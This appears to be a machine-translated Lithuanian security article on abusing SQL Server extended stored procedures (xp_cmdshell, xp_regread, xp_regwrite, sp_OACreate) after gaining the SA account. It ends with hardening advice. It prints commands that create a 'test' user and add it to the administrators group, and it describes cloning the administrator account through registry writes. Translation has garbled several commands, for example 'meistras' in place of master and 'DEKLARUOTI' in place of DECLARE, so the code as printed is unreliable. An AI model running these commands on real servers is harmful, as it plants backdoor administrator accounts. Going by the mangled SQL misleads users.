Saugomos procedūros yra iš anksto parašytų SQL pareiškimų, saugomų SQLServer, rinkinys, tarp kurių yra pavojingiausios išplėstinės saugomos procedūros xp_cmdshell, galinčios vykdyti bet kokias operacinės sistemos instrukcijas, o SA yra "Microsoft SQLServer" administratoriaus paskyra, turinti didžiausias teises, ji gali vykdyti išplėstines saugomas procedūras ir gauti grąžinamas reikšmes, tokias kaip vykdymas:
exec meistras .. xp_cmdshell "Net User Test 1234 /add" ir exec master: xp_cmdshell "Net localgroup administrators test /add"
Tokiu būdu vartotojo vardu testas, slaptažodis 1234 ir administratoriaus teisės pridedamos prie kitos šalies sistemos, kaip parodyta 1 paveiksle.
Dabar turėtumėte suprasti, kodėl gaunate SA slaptažodį ir gaunate aukščiausias sistemos privilegijas. Dažnai daugelis tinklo administratorių nežino šios situacijos ir turi keletą paprastų slaptažodžių, tokių kaip 1234 ir 4321 savo SA vartotojams, arba net visai nenustato slaptažodžių, kad tinklo įsibrovėliai galėtų lengvai nuskaityti SA slaptažodį naudodami kai kuriuos įsilaužimo įrankius ir tada valdyti kompiuterį.
Be xp_cmdshell, taip pat yra saugomų procedūrų, kuriomis gali pasinaudoti įsibrovėliai:
1. xp_regread (ši išplėstinė saugoma procedūra gali nuskaityti registre nurodytame rakte nurodytą reikšmę), kaip ja naudotis (gaukite mašinos pavadinimą):
DEKLARUOTI@testvarchar(50) EXEC meistras.. xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='system\controlset001\control\computername\computername', @value_name='computername', @value=@test OUTPUT SELECT @test
2. xp_regwrite (ši išplėstinė saugoma procedūra gali parašyti registre nurodytame rakte nurodytą reikšmę) ir kaip ją naudoti (parašykite bbb rakte HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
EXEC meistras.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='PROGRAMINĖ ĮRANGA\aaa', @value_name='aaaValue', @type='REG_SZ', @value='bbb'
Jei pažeisto kompiuterio administratorius gali naršyti HKEY_LOCAL_MACHINE\SAM\SAM\ informaciją registre, dvi saugomos procedūros xp_regread ir xp_regwrite gali būti naudojamos administratoriaus vartotojui klonuoti ir administratoriaus teisėms gauti. xp_regdeletekey. xp_regdeletevalue taip pat kels pavojų sistemos saugumui. 3. Su OLE susijusių saugojimo procedūrų serija, ši saugojimo procedūrų serija turi sp_OACreate, sp_OADestroy, sp_OAGetErrorInfo, sp_OAGetProperty, sp_OAMethod, sp_OASetProperty, sp_OAStop, naudojimą:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net user test 1234 /add'--
Tokiu būdu kita sistema prideda vartotoją, pavadintą test, ir vartotoją, kurio slaptažodis yra 1234, ir tada vykdo:
DECLARE @shell INT EXEC SP_OACREATE 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'c:\WINNT\system32\cmd.exe /c net localgroup administrators test /add '--
Vartotojo testas, įtrauktas į administratorių grupę. Sprendimas: Suteikite SA slaptažodį, kuris yra pakankamai sudėtingas, kad kibernetiniams užpuolikams būtų sunku nulaužti. Saugumo sumetimais taip pat turime naudoti saugomas procedūras SQL sp_addextendedproc sp_dropextendedproc Erverio užklausų analizatoriuje sp_dropextendedproc ištrinti saugomas procedūras, pvz., xp_cmdshell, o prireikus naudoti sp_addextendedproc atkūrimą. Reikėtų pažymėti, kad ištrynus saugomas procedūras, susijusias su OLE, kai kurios "Enterprise Manager" funkcijos gali būti netinkamos naudoti, todėl autorius nerekomenduoja jų čia ištrinti.
Dabar, kai žinome, kaip SP_OACREATE naudoti, galime eiti į \WINNT \system32, kad surastume cmd.exe, net.exe ir net1.exe tris failus ir ištrintume visus vartotojus, kurie gali juos pasiekti "Ypatybėse" - "Sauga", kad negalėtume naudoti SP_OACREATE sistemos vartotojų skaičiui padidinti, ir galime pridėti prieigos vartotojų, kai mums reikia pasiekti šiuos failus.
|